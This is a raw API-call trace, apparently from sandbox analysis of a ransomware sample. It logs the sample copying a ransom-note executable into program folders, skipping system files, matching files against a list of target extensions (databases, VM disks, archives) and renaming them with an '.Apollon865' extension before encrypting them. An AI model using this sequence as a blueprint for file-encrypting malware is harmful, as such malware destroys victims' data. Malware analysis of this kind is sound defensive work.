	[0056.356] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028"
	[0056.356] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.357] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1028\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.360] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.360] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a9da70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a9da70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.361] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.361] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.361] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO"
	[0056.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0056.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0056.361] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned 56
	[0056.361] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO"
	[0056.361] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.361] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.366] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.366] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39a9da70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a9da70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.367] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.367] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.367] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Java", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java"
	[0056.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0056.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0056.367] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Java") returned 40
	[0056.367] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Java" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java"
	[0056.367] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.367] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\java\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.371] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.371] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39ac3bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ac3bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.371] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.371] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.372] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Java\\Java Update", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update"
	[0056.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0056.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0056.372] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned 52
	[0056.372] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update"
	[0056.372] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.372] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.377] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.377] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39ac3bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ac3bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.377] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.377] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.377] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.Apollon865") returned 72
	[0056.377] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.Apollon865" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml.apollon865"), dwFlags=0x1) returned 1
	[0056.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.Apollon865" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0056.378] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1411) returned 1
	[0056.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0056.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0056.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0056.379] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0056.380] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0056.380] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0056.380] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x890, lpName=0x0) returned 0x15c
	[0056.382] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x890) returned 0x120000
	[0056.383] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0056.384] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0056.384] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0056.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0056.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0056.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0056.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0056.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0056.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0056.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0056.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0056.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0056.384] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0056.384] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0056.384] CloseHandle (hObject=0x15c) returned 1
	[0056.385] CloseHandle (hObject=0x154) returned 1
	[0056.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0056.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0056.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0056.385] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="Apollon865.txt.exe") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2=".") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="..") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="windows") returned -1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="bootmgr") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="temp") returned -1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="pagefile.sys") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="boot") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="ids.txt") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="ntuser.dat") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="perflogs") returned 1
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2="MSBuild") returned 1
	[0056.385] lstrlenW (lpString="task64.xml") returned 10
	[0056.385] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml") returned 61
	[0056.385] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="task64.xml" | out: lpString1="task64.xml") returned="task64.xml"
	[0056.385] lstrlenW (lpString="task64.xml") returned 10
	[0056.385] lstrlenW (lpString="Apollon865") returned 10
	[0056.385] lstrlenW (lpString=".dll") returned 4
	[0056.385] lstrcmpiW (lpString1="task64.xml", lpString2=".dll") returned 1
	[0056.386] lstrlenW (lpString=".lnk") returned 4
	[0056.386] lstrcmpiW (lpString1="task64.xml", lpString2=".lnk") returned 1
	[0056.386] lstrlenW (lpString=".ini") returned 4
	[0056.386] lstrcmpiW (lpString1="task64.xml", lpString2=".ini") returned 1
	[0056.386] lstrlenW (lpString=".sys") returned 4
	[0056.386] lstrcmpiW (lpString1="task64.xml", lpString2=".sys") returned 1
	[0056.386] lstrlenW (lpString="task64.xml") returned 10
	[0056.386] lstrlenW (lpString="bak") returned 3
	[0056.386] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0056.386] lstrlenW (lpString="ba_") returned 3
	[0056.386] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0056.386] lstrlenW (lpString="dbb") returned 3
	[0056.386] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0056.386] lstrlenW (lpString="vmdk") returned 4
	[0056.386] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0056.386] lstrlenW (lpString="rar") returned 3
	[0056.386] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0056.386] lstrlenW (lpString="zip") returned 3
	[0056.386] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0056.386] lstrlenW (lpString="tgz") returned 3
	[0056.386] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0056.386] lstrlenW (lpString="vbox") returned 4
	[0056.386] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0056.386] lstrlenW (lpString="vdi") returned 3
	[0056.386] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0056.386] lstrlenW (lpString="vhd") returned 3
	[0056.386] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0056.386] lstrlenW (lpString="vhdx") returned 4
	[0056.386] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0056.386] lstrlenW (lpString="avhd") returned 4
	[0056.386] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0056.386] lstrlenW (lpString="db") returned 2
	[0056.386] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0056.386] lstrlenW (lpString="db2") returned 3
	[0056.387] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0056.387] lstrlenW (lpString="db3") returned 3
	[0056.387] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0056.387] lstrlenW (lpString="dbf") returned 3
	[0056.387] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0056.387] lstrlenW (lpString="mdf") returned 3
	[0056.387] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0056.387] lstrlenW (lpString="mdb") returned 3
	[0056.387] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0056.387] lstrlenW (lpString="sql") returned 3
	[0056.387] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0056.387] lstrlenW (lpString="sqlite") returned 6
	[0056.387] lstrcmpiW (lpString1="64.xml", lpString2="sqlite") returned -1
	[0056.387] lstrlenW (lpString="sqlite3") returned 7
	[0056.387] lstrcmpiW (lpString1="k64.xml", lpString2="sqlite3") returned -1
	[0056.387] lstrlenW (lpString="sqlitedb") returned 8
	[0056.387] lstrcmpiW (lpString1="sk64.xml", lpString2="sqlitedb") returned -1
	[0056.387] lstrlenW (lpString="xml") returned 3
	[0056.387] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0056.387] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.Apollon865") returned 74
	[0056.387] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.Apollon865" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml.apollon865"), dwFlags=0x1) returned 1
	[0056.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.Apollon865" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0056.388] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1416) returned 1
	[0056.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0056.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0056.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0056.388] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0056.389] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0056.389] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0056.389] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x890, lpName=0x0) returned 0x15c
	[0056.390] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x890) returned 0x120000
	[0056.391] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0056.392] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0056.392] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0056.392] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0056.392] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0056.392] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0056.392] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0056.392] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0056.392] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0056.392] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0056.392] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0056.392] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0056.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0056.393] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0056.393] CloseHandle (hObject=0x15c) returned 1
	[0056.393] CloseHandle (hObject=0x154) returned 1
	[0056.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0056.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0056.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0056.393] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 0
	[0056.393] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.393] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7910
	[0056.393] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe"
	[0056.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0056.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0056.393] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe") returned 41
	[0056.393] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe"
	[0056.393] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.393] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.398] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.398] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ae9d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ae9d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.398] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.398] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.398] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.398] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ae9d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ae9d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.398] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.398] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.398] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="Apollon865.txt.exe") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1
	[0056.398] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1
